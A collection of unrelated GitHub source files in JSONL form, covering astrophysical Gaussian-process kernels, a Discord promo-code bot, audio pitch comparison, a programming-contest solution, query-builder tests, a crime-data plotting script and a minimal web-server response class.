+{"seq_id":"8603893014","text":"import sys\r\n\r\nimport numpy as np\r\nfrom scipy.stats import uniform, norm, reciprocal\r\nimport celerite\r\n\r\n# Base class for all kernel components for the GPModel\r\nclass Component(object):\r\n\tdef __init__(self, config):\r\n\t\t# Check that config dictionary as correct number of entries\r\n\t\tif self.npars != len(config[\"values\"].keys()):\r\n\t\t\tprint(f\"Component needs to have {self.npars} parameters\")\r\n\t\t\tsys.exit(1)\r\n\r\n\t\tif \"latex_names\" in config:\r\n\t\t\tif (self.npars != len(config[\"latex_names\"])):\r\n\t\t\t\tprint(f\"Component latex names must have size {self.npars}\")\r\n\t\t\t\tsys.exit(1)\r\n\t\t\tself.parameter_latex_names = config[\"latex_names\"]\r\n\t\tif \"units\" in config:\r\n\t\t\tif (self.npars != len(config[\"units\"])):\r\n\t\t\t\tprint(f\"Component units must have size {self.npars}\")\r\n\t\t\t\tsys.exit(1)\r\n\t\t\tself.parameter_units = config[\"units\"]\r\n\r\n\t\t# Setup the priors and init parameters\r\n\t\tself.prior = []\r\n\t\tparams_values = config[\"values\"]\r\n\t\tfor pname in self.parameter_names:\r\n\t\t\tif params_values[pname][0]:\r\n\t\t\t\tprint(\"Fixing parameter values is not yet supported\")\r\n\t\t\t\tsys.exit(1)\r\n\t\t\tif params_values[pname][2] == \"uniform\":\r\n\t\t\t\tself.prior.append(uniform(params_values[pname][3], params_values[pname][4] - params_values[pname][3]))\r\n\t\t\telif params_values[pname][2] == \"normal\":\r\n\t\t\t\tself.prior.append(norm(params_values[pname][3], params_values[pname][4]))\r\n\t\t\telif params_values[pname][2] == \"reciprocal\":\r\n\t\t\t\tif params_values[pname][3] != 0:\r\n\t\t\t\t\tprint(\"Reciprocal prior cannot have a starting interval value of 0.0\")\r\n\t\t\t\t\tsys.exit(1)\r\n\t\t\t\tself.prior.append(reciprocal(params_values[pname][3], params_values[pname][4]))\r\n\t\t\telse:\r\n\t\t\t\tprint(f\"Parameter prior distribution chosen not recognized: {params_values[pname][2]}\")\r\n\t\t\t\tsys.exit(1)\r\n\t\tself.prior = np.asarray(self.prior)\r\n\r\n\tdef sample_prior(self, num=1):\r\n\t\treturn np.hstack([p.rvs([num, 1]) for p in self.prior])\r\n\r\n\tdef lnprior(self, params): # Add non log evaluation of prior\r\n\t\treturn np.sum([self.prior[i].logpdf(params[i]) for i in range(self.prior.size)])\r\n\r\n\tdef get_parameters_celerite(self, params):\r\n\t\traise NotImplementedError\r\n\r\n\tdef get_kernel(self, params):\r\n\t\traise NotImplementedError\r\n\t\r\n\tdef get_psd(self, params, freq, N, nyquist):\r\n\t\tkernel = self.get_kernel(params)\r\n\t\t# The multiplication fixes the psd calculation from celerite with the constant that correctly normalizaes the value\r\n\t\tpsd = kernel.get_psd(2*np.pi*freq) * 2 * np.sqrt(2*np.pi)\r\n\t\treturn psd\r\n\t\t\r\n\r\nclass Granulation(Component):\r\n\tdef __init__(self, config):\r\n\t\tself.npars = 2\r\n\t\tself.parameter_names = ['a_gran', 'b_gran']\r\n\t\tself.parameter_latex_names = [r'$a_{gran}$', r'$b_{gran}$']\r\n\t\tself.parameter_units = ['ppm', r'$\\mu$Hz']\r\n\t\t# default_prior = np.array([[20, 400], [10, 200]])\r\n\r\n\t\t# Get component name\r\n\t\tif 'name' in config:\r\n\t\t\tself.name = config['name']\r\n\t\telse:\r\n\t\t\tself.name = 'Granulation'\r\n\r\n\t\t# Parent contructor to init the priors\r\n\t\tsuper().__init__(config['params'])\r\n\r\n\tdef get_parameters_celerite(self, params):\r\n\t\ta, b = params\r\n\r\n\t\tw = b * (2*np.pi)\r\n\r\n\t\t# S0 from the PSD equation in Foreman-Mackey 2017\r\n\t\t# S = (2/np.sqrt(np.pi)) * (a**2 / b)\r\n\r\n\t\t# S0 from the kernel equation for the granualtion\r\n\t\t# S = a**2 / (2 * np.pi * b * np.cos(-np.pi/4))\r\n\r\n\t\t# S0 from updated PSD in celerite using Parseval's Theorem\r\n\t\tS = (np.sqrt(2) / (2 * np.pi)) * (a**2 / b)\r\n\r\n\t\t# Test\r\n\t\t# S = np.sqrt(2) * a**2 / w\r\n\r\n\t\t# Returning log to comply with celerite\r\n\t\treturn np.log([S, w])\r\n\r\n\tdef get_kernel(self, params):\r\n\t\tS, w = self.get_parameters_celerite(params)\r\n\r\n\t\tQ = 1.0 / np.sqrt(2.0)\r\n\t\tkernel = celerite.terms.SHOTerm(log_S0=S, log_Q=np.log(Q), log_omega0=w)\r\n\t\tkernel.freeze_parameter(\"log_Q\")\r\n\t\treturn kernel\r\n\r\nclass OscillationBump(Component):\r\n\tdef __init__(self, config):\r\n\t\tself.npars = 3\r\n\t\tself.parameter_names = ['P_g', 'Q', 'nu_max']\r\n\t\tself.parameter_latex_names = [r'$P_{g}$', r'$Q_{bump}$', r'$\\nu_{max}$']\r\n\t\tself.parameter_units = ['ppm', '', r'$\\mu$Hz']\r\n\t\t# default_prior = np.array([[10, 1500], [1.2, 15], [100, 220]])\r\n\t\t\r\n\t\t# Get component name\r\n\t\tif 'name' in config:\r\n\t\t\tself.name = config['name']\r\n\t\telse:\r\n\t\t\tself.name = 'OscillationBump'\r\n\r\n\t\t# Parent contructor to init the priors\r\n\t\tsuper().__init__(config['params'])\r\n\r\n\tdef get_parameters_celerite(self, params):\r\n\t\tP_g, Q, numax = params\r\n\r\n\t\t# S0 from the PSD equation in Foreman-Mackey 2017\r\n\t\t# S = P_g / ((Q**2) * np.sqrt(2/np.pi))\r\n\r\n\t\t# S0 from updated PSD in celerite using Parseval's Theorem\r\n\t\tS = P_g / (4 * Q**2)\r\n\r\n\t\tw = numax * (2*np.pi)\r\n\r\n\t\t# return np.array([S, Q, w])\r\n\t\treturn np.log([S, Q, w])\r\n\r\n\tdef get_kernel(self, params):\r\n\t\tS, Q, w = self.get_parameters_celerite(params)\r\n\r\n\t\tkernel = celerite.terms.SHOTerm(log_S0=S, log_Q=Q, log_omega0=w)\r\n\t\t# kernel = celerite.terms.SHOTerm(log_S0=np.log(S), log_Q=np.log(Q), log_omega0=np.log(w))\r\n\r\n\t\treturn kernel\r\n\r\nclass WhiteNoise(Component):\r\n\t\r\n\tdef __init__(self, config):\r\n\t\tself.npars = 1\r\n\t\tself.parameter_names = ['jitter']\r\n\t\tself.parameter_latex_names = [r'White Noise']\r\n\t\tself.parameter_units = ['ppm']\r\n\t\t# default_prior = np.array([[1e-3, 300]])\r\n\r\n\t\t# Get component name\r\n\t\tif 'name' in config:\r\n\t\t\tself.name = config['name']\r\n\t\telse:\r\n\t\t\tself.name = 'WhiteNoise'\r\n\r\n\t\t# Parent contructor to init the priors\r\n\t\tsuper().__init__(config['params'])\r\n\r\n\tdef get_parameters_celerite(self, params):\r\n\t\tjitter, = params\r\n\r\n\t\t# return np.array([jitter])\r\n\t\treturn np.log([jitter])\r\n\r\n\tdef get_kernel(self, params):\r\n\t\tjitter, = self.get_parameters_celerite(params)\r\n\r\n\t\tkernel = celerite.terms.JitterTerm(log_sigma=jitter)\r\n\t\t# kernel = celerite.terms.JitterTerm(log_sigma=np.log(jitter))\r\n\t\treturn kernel\r\n\r\n\tdef get_psd(self, params, freq, N, nyquist):\r\n\t\tjitter, = params\r\n\r\n\t\t# PSD = sigma^2 / N points\r\n\t\t# return (self.name, np.full(freq.size, jitter**2 / N))\r\n\t\t\r\n\t\t# PSD = sigma^2 / N points x Parseval normalization constant (2 x sqrt(2 x pi))\r\n\t\t# return (self.name, np.full(freq.size, jitter**2 * (2*np.sqrt(2*np.pi)) / N))\r\n\t\t\r\n\t\t# PSD = sigma\r\n\t\t# return (self.name, np.full(freq.size, jitter))\r\n\r\n\t\t# PSD = sigma^2 x 2 x cadence / 10^6        # [ 1 / nyquist = 10^6 / (2 x cadence) ]\r\n\t\treturn np.full(freq.size, jitter**2 / nyquist)\r\n","repo_name":"Fill4/gptransits","sub_path":"gptransits/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":6170,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"9536225580","text":"from datetime import datetime, timezone\nimport logging\nimport os\n\nfrom discord import User\nfrom discord.ext import commands\nfrom dotenv import load_dotenv\nfrom peewee import SqliteDatabase, IntegrityError\nimport sentry_sdk\n\nfrom constants import MODELS, DATETIME_FORMAT, LOCAL_TIMEZONE\nfrom model import AuthorizedUser, PromoCodeGroup, PromoCode\nfrom utils import (validate_group_name,\n                   parse_codes_in_bulk,\n                   validate_code,\n                   sqlite_datetime_hack,\n                   send_long_message_array)\n\nload_dotenv()\n\nBOT_TOKEN = os.getenv('BOT_TOKEN')\nSENTRY_URL = os.getenv('SENTRY_URL')\nSENTRY_ENVIRONMENT = os.getenv('SENTRY_ENVIRONMENT', 'unknown')\n\nbot = commands.Bot(command_prefix='$')\n\ndb = SqliteDatabase('database.sqlite', pragmas={'foreign_keys': 1})\n\ndb.bind(MODELS)\ndb.create_tables(MODELS)\n\nsentry_sdk.init(SENTRY_URL,\n                traces_sample_rate=1.0,\n                environment=SENTRY_ENVIRONMENT)\n\n\n@bot.event\nasync def on_ready():\n    logging.info('Logged on as %s!', bot.user)\n\n\n@bot.event\nasync def on_command_error(ctx, error):\n    sentry_sdk.add_breadcrumb(\n        category='discord.command_name',\n        message='Error on command %s' % ctx.command.qualified_name,\n        level='info'\n    )\n    sentry_sdk.capture_exception(error)\n    await ctx.send(str(error))\n\n\nasync def is_authorized_or_owner(ctx, is_owner=bot.is_owner):\n    if await is_owner(ctx.author):\n        return True\n    user = AuthorizedUser.get_or_none(\n        (AuthorizedUser.user_id == ctx.author.id)\n        &\n        (AuthorizedUser.guild_id == ctx.guild.id)\n    )\n    return user is not None\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def echo(ctx, arg):\n    await ctx.send(arg)\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def echo_dm(ctx, arg):\n    await ctx.author.send(arg)\n\n\n# =======================================================\n#               USER COMMANDS\n# =======================================================\n@bot.command()\n@commands.is_owner()\nasync def add_user(ctx, *, user: User):\n    \"\"\"Adds a user to the authorized user list.\"\"\"\n    logging.info(\n        \"Estão tentando adicionar o usuário com ID %s aos usuários autorizados\",  # noqa E501\n        user.id)\n    try:\n        AuthorizedUser.create(guild_id=ctx.guild.id, user_id=user.id)\n        await ctx.send(\"Adicionado usuário {}\".format(user.name))\n    except IntegrityError:\n        await ctx.send(\"Usuário já autorizado\")\n\n\n@bot.command()\n@commands.is_owner()\nasync def remove_user(ctx, *, user: User):\n    \"\"\"Removes a user from the authorized user list.\"\"\"\n    logging.info(\n        \"Estão tentando remover o usuário com ID %s dos usuários autorizados\",\n        user.id)\n    query = AuthorizedUser.delete().where(\n        (AuthorizedUser.user_id == user.id)\n        &\n        (AuthorizedUser.guild_id == ctx.guild.id)\n    )\n    rows_removed = query.execute()\n    if rows_removed > 0:\n        await ctx.send(\"Usuário {} desautorizado\".format(user.name))\n    else:\n        await ctx.send(\"Usuário não estava autorizado: {}\".format(user.name))\n\n\n@bot.command()\n@commands.is_owner()\nasync def list_user(ctx, fetch_user=bot.fetch_user):\n    \"\"\"Lists the authorized users.\"\"\"\n    logging.info(\"Estão tentando listar os usuários autorizados\")\n    authorized_users = AuthorizedUser.select().where(\n        AuthorizedUser.guild_id == ctx.guild.id)\n    if authorized_users.count() == 0:  # pylint: disable=no-value-for-parameter\n        await ctx.send(\"Não há usuários autorizados\")\n        return\n    output = \"Estes são os usuários autorizados: \"\n    for authorized_user in authorized_users:\n        discord_user = await fetch_user(authorized_user.user_id)\n        output += \"\\n- {}\".format(discord_user.name)\n    await ctx.send(output)\n\n\n# =======================================================\n#               PROMO CODE GROUP COMMANDS\n# =======================================================\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def add_group(ctx, group_name):\n    \"\"\"Creates a group of promo codes.\n\n    No code can live outside of a group (they get lonely!).\"\"\"\n    logging.info(\"Tentando adicionar grupo '%s'\", group_name)\n    if not validate_group_name(group_name):\n        await ctx.send(\n            \"Nome de grupo inválido. Use apenas letras, números, traços (-) e underscore (_)\")  # noqa E501\n        return\n    try:\n        PromoCodeGroup.create(guild_id=ctx.guild.id, name=group_name)\n        await ctx.send(\"Grupo {} criado\".format(group_name))\n    except IntegrityError:\n        await ctx.send(\"Grupo já existente\")\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def remove_group(ctx, group_name):\n    \"\"\"Destroys a promo code group.\n\n    Careful! All codes within it are brutally killed too!\"\"\"\n    logging.info(\"Tentando remover grupo '%s'\", group_name)\n    query = PromoCodeGroup.delete().where(\n        (PromoCodeGroup.guild_id == ctx.guild.id)\n        &\n        (PromoCodeGroup.name == group_name)\n    )\n    rows_removed = query.execute()\n    if rows_removed > 0:\n        await ctx.send(\"Grupo {} removido\".format(group_name))\n    else:\n        await ctx.send(\"Grupo {} não existe!\".format(group_name))\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def list_group(ctx):\n    \"\"\"Let's you see the promo code groups.\"\"\"\n    logging.info(\"Tentando listar grupos\")\n    groups = PromoCodeGroup.select().where(\n        PromoCodeGroup.guild_id == ctx.guild.id)\n    if groups.count() == 0:  # pylint: disable=no-value-for-parameter\n        await ctx.send(\"Não há grupos de código promocional cadastrados\")\n        return\n    output = \"Estes são os grupos de código promocional existentes: \"\n    for group in groups:\n        output += \"\\n- {}\".format(group.name)\n    await ctx.send(output)\n\n\n# =======================================================\n#               PROMO CODE COMMANDS\n# =======================================================\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def add_code(ctx, group_name, code):\n    \"\"\"Add a code to a promo group.\"\"\"\n    logging.info(\"Tentando adicionar o código %s ao grupo %s\",\n                 code,\n                 group_name)\n    if not validate_code(code):\n        await ctx.send(\n            \"Código inválido: o código deve ser apenas letras, números e traços (-)\")  # noqa E501\n        return\n    try:\n        group = PromoCodeGroup.get(\n            (PromoCodeGroup.guild_id == ctx.guild.id)\n            &\n            (PromoCodeGroup.name == group_name)\n        )\n        PromoCode.create(group=group, code=code)\n        await ctx.send(\n            \"Código {0} cadastrado no grupo {1} com sucesso!\".format(\n                code,\n                group_name))\n    except PromoCodeGroup.DoesNotExist:  # pylint: disable=no-member\n        await ctx.send(\n            \"Grupo de códigos promocionais não encontrado: {}\".format(\n                group_name))\n    except IntegrityError:\n        await ctx.send(\n            \"Código {0} já cadastrado no grupo {1}\".format(code, group_name))\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def add_code_bulk(ctx, group_name, *, code_bulk):\n    \"\"\"Adds a lot of codes to the same group.\n\n    Codes are separated by anything that is not:\n      - a letter\n      - a number\n      - a dash (-)\"\"\"\n    logging.info(\"Tentando adicionar códigos em massa ao grupo %s: %s\",\n                 group_name,\n                 code_bulk)\n    group = PromoCodeGroup.get_or_none(\n        (PromoCodeGroup.guild_id == ctx.guild.id)\n        &\n        (PromoCodeGroup.name == group_name)\n    )\n    if group is None:\n        await ctx.send(\n            \"Grupo de códigos promocionais não encontrado: {}\".format(\n                group_name\n            )\n        )\n        return\n    codes = parse_codes_in_bulk(code_bulk)\n    insert_bulk_data = [{'group': group, 'code': code} for code in codes]\n    with db.atomic() as transaction:\n        PromoCode.insert_many(insert_bulk_data).execute()  # noqa E501 pylint: disable=no-value-for-parameter\n        transaction.commit()\n    await ctx.send(\"Códigos adicionados ao grupo {}\".format(group_name))\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def remove_code(ctx, group_name, code):\n    \"\"\"Removes a code from a code group.\"\"\"\n    logging.info(\"Tentando remover o código %s do grupo %s\", code, group_name)\n    group = PromoCodeGroup.get_or_none(\n        (PromoCodeGroup.guild_id == ctx.guild.id)\n        &\n        (PromoCodeGroup.name == group_name)\n    )\n    if group is None:\n        await ctx.send(\n            \"Código {0} não encontrado no grupo {1}\".format(code, group_name)\n        )\n        return\n    query = PromoCode.delete().where(\n        (PromoCode.code == code) & (PromoCode.group == group)\n    )\n    rows_removed = query.execute()\n    if rows_removed > 0:\n        await ctx.send(\n            \"Código {0} excluído do grupo {1}\".format(code, group_name)\n        )\n    else:\n        await ctx.send(\n            \"Código {0} não encontrado no grupo {1}\".format(code, group_name)\n        )\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def list_code(ctx, group_name):\n    \"\"\"Lists all codes inside a code group.\"\"\"\n    logging.info(\"Tentando listar os códigos do grupo %s\", group_name)\n    group = PromoCodeGroup.get_or_none(\n        (PromoCodeGroup.guild_id == ctx.guild.id)\n        &\n        (PromoCodeGroup.name == group_name)\n    )\n    if group is None:\n        await ctx.send(\"Grupo {} não existe\".format(group_name))\n        return\n    codes = PromoCode.select().where((PromoCode.group == group))\n    if codes.count() == 0:  # pylint: disable=no-value-for-parameter\n        await ctx.send(\"Grupo {} não possui códigos\".format(group_name))\n        return\n    output = \"Códigos para o grupo {}: \".format(group_name)\n    for code in codes:\n        output += \"\\n- {}\".format(code.code)\n        sent_at = sqlite_datetime_hack(code.sent_at)\n        if code.sent_to_id:\n            output += \" enviado para o usuário {0} em {1}\".format(\n                code.sent_to_name,\n                sent_at.astimezone(LOCAL_TIMEZONE).strftime(DATETIME_FORMAT)\n            )\n    await send_long_message_array(ctx.author.send, output)\n\n\n@bot.command()\n@commands.check(is_authorized_or_owner)\nasync def send_code(ctx,\n                    group_name,\n                    users: commands.Greedy[User],\n                    is_authorized_or_owner=is_authorized_or_owner):\n    \"\"\"Sends a promo code from a code group to each of the mentioned users.\"\"\"\n    logging.info(\n        \"Tentando enviar um código do grupo %s para o(s) usuário(s) %s\",\n        group_name, ', '.join([f'{user.name}({user.id})' for user in users])\n    )\n    group = PromoCodeGroup.get_or_none(\n        (PromoCodeGroup.guild_id == ctx.guild.id)\n        &\n        (PromoCodeGroup.name == group_name)\n    )\n    if group is None:\n        await ctx.send(\"Grupo {} não existe\".format(group_name))\n        return\n    messages_author = []\n    messages_channel = []\n    with db.atomic() as transaction:\n        for user in users:\n            if not await is_authorized_or_owner(ctx):\n                used_codes = PromoCode.select().where(\n                    (PromoCode.group == group)\n                    &\n                    (PromoCode.sent_to_id == user.id)\n                )\n                if used_codes.count() > 0:\n                    messages_channel.append(\n                        \"Usuário {0} já resgatou código do grupo {1}\".format(\n                            user.name, group_name)\n                        )\n                    continue\n            promo_code = PromoCode.select().where(\n                (PromoCode.group == group) & (PromoCode.sent_to_id == None) # noqa E501 pylint: disable=singleton-comparison\n            ).first()\n            if promo_code is None:\n                messages_channel.append(\n                    \"Grupo {} não possui mais códigos disponíveis\".format(\n                        group_name\n                    )\n                )\n                break\n            promo_code.sent_to_name = user.name\n            promo_code.sent_to_id = user.id\n            promo_code.sent_at = datetime.now(timezone.utc)\n            promo_code.save()\n            await user.send(\n                \"Olá! Você ganhou um código: {}\".format(promo_code.code)\n            )\n            # incluir essa linha nos testes!\n            messages_author.append(\n                \"Código {} enviado para o usuário {}\".format(\n                    promo_code.code, user.name\n                )\n            )\n            messages_channel.append(\n                \"Enviado código do grupo {} para o usuário {}\".format(\n                    group_name, user.name\n                )\n            )\n        await ctx.send(\"\\n\".join(messages_channel))\n        await ctx.author.send(\"\\n\".join(messages_author))\n        transaction.commit()\n\n\n@bot.command()\nasync def my_codes(ctx):\n    \"\"\"List the codes you received from me!\"\"\"\n    logging.info(\n        \"O usuário %s (ID %s) está tentando listar os próprios códigos\",\n        ctx.author.name, ctx.author.id\n    )\n    promo_codes = PromoCode.select().where(\n        (PromoCode.sent_to_id == ctx.author.id)\n    )\n    if promo_codes.count() == 0:\n        await ctx.author.send(\"Você não possui códigos\")\n        return\n    output = \"Seus códigos: \"\n    for promo_code in promo_codes:\n        sent_at = sqlite_datetime_hack(promo_code.sent_at)\n        output += \"\\n- {0} (recebido em {1})\".format(\n            promo_code.code,\n            sent_at.astimezone(LOCAL_TIMEZONE).strftime(DATETIME_FORMAT)\n        )\n    await ctx.author.send(output)\n\nif __name__ == '__main__':\n    logging.basicConfig(level=logging.INFO)\n    bot.run(BOT_TOKEN)\n    logging.info('Disconnecting from DB...')\n    db.close()\n    logging.info(\"DB disconnected!\")\n","repo_name":"pedro-walter/discord-promo-code-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13929,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"40750616961","text":"import librosa\nimport numpy as np\nfrom scipy.signal import resample\n# Load the audio signals\naudio1, sr1 = librosa.load('../sounds/Beleswar.wav')\naudio2, sr2 = librosa.load('../sounds/Jay.wav')\n\n# Extract the pitch features from the audio signals\npitch1, _ = librosa.piptrack(y=audio1, sr=sr1)\npitch2, _ = librosa.piptrack(y=audio2, sr=sr2)\n\n# Take the mean pitch value for each frame\nmean_pitch1 = np.mean(pitch1, axis=0)\nmean_pitch2 = np.mean(pitch2, axis=0)\n\nif mean_pitch1.shape[0] > mean_pitch2.shape[0]:\n    mean_pitch1 = resample(mean_pitch1, mean_pitch2.shape[0])\nelif mean_pitch2.shape[0] > mean_pitch1.shape[0]:\n    mean_pitch2 = resample(mean_pitch2, mean_pitch1.shape[0])\n\n# Calculate the Euclidean distance between the pitch features\neuclidean_distance = np.linalg.norm(mean_pitch1 - mean_pitch2)\n\n# Calculate the similarity as a percentage\nsimilarity = (1 - euclidean_distance / np.max([mean_pitch1, mean_pitch2])) * 100\nprint(\"Similarity between the two audio signals based on pitch features: {:.2f}%\".format(similarity))\n\n","repo_name":"3V3RYONE/speech-recognition-project","sub_path":"Pitch/newFile.py","file_name":"newFile.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19164087883","text":"# 리스트로 접근하면 시간초과가 발생 -> 딕셔너리로 접근하면 감축\r\n\r\nfirst = int(input()) # 첫째줄 채팅방의 기록수\r\n# map함수(객체)는 for문에 넣을 수 없다.\r\ncnt = 0\r\n# 리스트를 두개 만들어 주는게 나을듯 <- 그래야 중복 이름 나올 때를 구분지을 수 있음.\r\ndic = {}\r\n\r\nfor i in range(first):\r\n    inputs = input()\r\n\r\n    if inputs == \"ENTER\":\r\n        #for key,value in dic.items():\r\n        #    if value == 1: # value가 1이라는 거는 닉���임마다 하나의 밸류로 주기 위함\r\n        #        cnt += 1\r\n        dic = {}\r\n    else:\r\n        if inputs not in dic: # 키값이 딕셔너리에 없으면\r\n            dic[inputs] = 1\r\n            cnt += 1\r\nprint(cnt)","repo_name":"jea0902/Algorithm-Python","sub_path":"백준/Silver/25192. 인사성 밝은 곰곰이/인사성 밝은 곰곰이.py","file_name":"인사성 밝은 곰곰이.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"19842172246","text":"import pytest\nimport requests\nfrom unittest.mock import MagicMock\nfrom sdbms.app.service.builder import QueryBuilder\n\n\ndef test_create_select_with_no_label():\n    queryBuilder = QueryBuilder()\n    test_parameters = {'DbNam':'my_db','TableName':'users','myLabel[0]':'','conditionType':'or','myKeys[0]':'age','myOperators[0]':'<=','myValues[0]':100}\n    test_result = 'query * users where op:or conditions age<=100;'\n    assert queryBuilder.build_select(test_parameters) == test_result\n\n# def test_request_select():\n#     body = {'DbName': 'my_db','TableName': 'users', 'myLabel[0]': '', 'conditionType': 'or', 'myKeys[0]': 'age', 'myOperators[0]': '<=',  'myValues[0]': 9999}\n#     result = requests.post('http://localhost:5000/result', data=body).text\n#     assert result == \"\"\"<html lang=\"en\">\n#\n# <head>\n#     <meta charset=\"UTF-8\">\n#     <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n#     <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n#     <title>SDBMS - Index</title>\n#     <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"></script>\n# </head>\n#\n# <body>\n#     <ul>\n#\n#         <li>{&#39;_rowid&#39;: 0, &#39;name&#39;: &#39;Viorel&#39;, &#39;age&#39;: 76, &#39;isdead&#39;: False}</li>\n#\n#     </ul>\n# </body>\n#\n# </html>\"\"\"\n\n\n\ndef test_create_select_with_no_label_and_no_conditions():\n    queryBuilder = QueryBuilder()\n    test_parameters = {'DbName':'my_db','TableName':'users','myLabel[0]':'','conditionType':'','myKeys[0]':'','myOperators[0]':'','myValues[0]':''}\n    test_result = 'query * users;'\n    assert queryBuilder.build_select(test_parameters) == test_result\n\ndef test_create_select_with_label():\n    queryBuilder = QueryBuilder()\n    test_parameters = {'DbName':'my_db','TableName':'users','myLabel[0]':'name','conditionType':'or','myKeys[0]':'age','myOperators[0]':'<=','myValues[0]':'99'}\n    test_result = 'query name  users where op:or conditions age<=99;'\n    assert queryBuilder.build_select(test_parameters) == test_result\n\n\ndef test_create_insert():\n    queryBuilder = QueryBuilder()\n    test_parameters = {'DbName':'my_db','TableName':'users','myKeys[0]':'name','myValues[0]':'Viorica','myKeys[1]':'age','myValues[1]':'50','myKeys[2]':'isdead','myValues[2]':'True'}\n    test_result = 'insert into users values  name=\\\"Viorica\\\" age=50 isdead=True;'\n    assert queryBuilder.build_insert(test_parameters) == test_result\n\ndef test_create_update():\n    queryBuilder = QueryBuilder()\n    test_parameters = {'DbName':'my_db','TableName':'users','myLabel[0]':'age','myLabelValue[0]':76,'conditionType':'or','myKeys[0]':'age','myOperators[0]':'=','myValues[0]':66}\n    test_result = 'update users set age=76  where op:or conditions age=66;'\n    assert queryBuilder.build_update(test_parameters) == test_result\n\ndef test_create_detelete():\n    queryBuilder = QueryBuilder()\n    test_parameters = {'DbName':'my_db','TableName':'users','conditionType':'or','myKeys[0]':'age','myOperators[0]':'=','myValues[0]':'76',}\n    test_result = 'delete in users where op:or conditions age=76;'\n    assert queryBuilder.build_delete((test_parameters)) == test_result\n\ndef test_create_db():\n    queryBuilder = QueryBuilder()\n    test_parameters = {'DbName': 'my_db', 'TableName': 'users', 'conditionType': 'or', 'myKeys[0]': 'age','myOperators[0]': '=', 'myValues[0]': '76', }\n    test_result = 'use sdb my_db;'\n    assert  queryBuilder.use_db((test_parameters)) == test_result","repo_name":"xSkyripper/simple-fs-dbms","sub_path":"tests/test_query_builder.py","file_name":"test_query_builder.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15338601227","text":"import pandas as pd\nimport matplotlib.pyplot as plt1\nimport matplotlib.pyplot as plt2\n\ndf1 = pd.read_csv(\"/content/archivo.csv\")\ndf1.set_index('mes')\ndf1.loc[0:3]\nx_values = df1['mes'].unique()\ny_values = df1['mes'].value_counts().tolist()\ny_values.reverse()\nprint(x_values)\nprint(y_values)\n# gráfico 1\nplt1.bar(x_values,y_values)\nplt1.title('delitos')\nplt1.xlabel('mes')\nplt1.ylabel('tipo')\nplt1.show()\n# grafico 2\nplt2.plot(x_values,y_values);\nplt2.title('Delitos')\nplt2.xlabel('mes')\nplt2.ylabel('tipo')\nplt2.show()\n","repo_name":"Agustin-PerezR/agustinperezrossi","sub_path":"TallerDeSoporte/Dataset/grafico.py","file_name":"grafico.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"ar","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40571118735","text":"from global_vars import *\n\nclass Response():\n\t\n\tstatusCodes = {200:' OK\\r\\n',\n\t\t\t\t\t404:' Not Found\\r\\n'}\n\t\n\tdef __init__(self,req,client):\n\t\tself.req = req\n\t\tself.client = client\n\t\tself.mode = None\n\t\tself.mimeType = None\t\n\t\tself.sendReply()\n\t\t\t\t\n\tdef sendBytes(self,message):\n\t\tself.client.send(bytes(message,'utf-8'))\n\t\t\n\tdef sendReply(self):\t\n\t\ttry:\n\t\t\tself.prepHeaders()\n\t\t\tf = open(self.req.path,self.mode)\n\t\t\tself.sendStatus(200)\n\t\t\tself.sendHeader()\n\t\t\tif self.mimeType == \"text/html\":\n\t\t\t\tself.sendBytes(f.read())\n\t\t\telse:\n\t\t\t\tself.client.send(f.read())\n\t\t\tf.close()\t\t\n\t\texcept:\n\t\t\tself.sendError(404,\"Something is not there.\")\n\n\tdef sendHeader(self):\n\t\tself.prepHeaders()\n\t\tself.sendBytes(\"Content-Type:\"+self.mimeType+\"\\r\\n\\r\\n\")\n\t\n\tdef sendStatus(self,code):\n\t\tself.sendBytes('HTTP/1.1 '+str(code)+self.statusCodes[code])\n\t\t\n\tdef sendError(self,code,message):\n\t\tself.mimeType = \"text/html\" \n\t\tself.mode = 'r'\n\t\tself.sendStatus(code)\n\t\tself.sendHeader()\n\t\tERR = open('error.txt','r') \t\t       \n\t\tself.sendBytes(ERR.read().replace('BFC',str(code)).replace('MSG',message))\n\t\tERR.close()\n\t\t\n\tdef prepHeaders(self):\n\t\tfor tpe in FILES:\n\t\t\tif self.req.path.endswith(tpe):\n\t\t\t\tself.mimeType = FILES[tpe]['mimeType']\n\t\t\t\tself.mode = FILES[tpe]['mode']\n","repo_name":"cribbage/my_web_server","sub_path":"response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
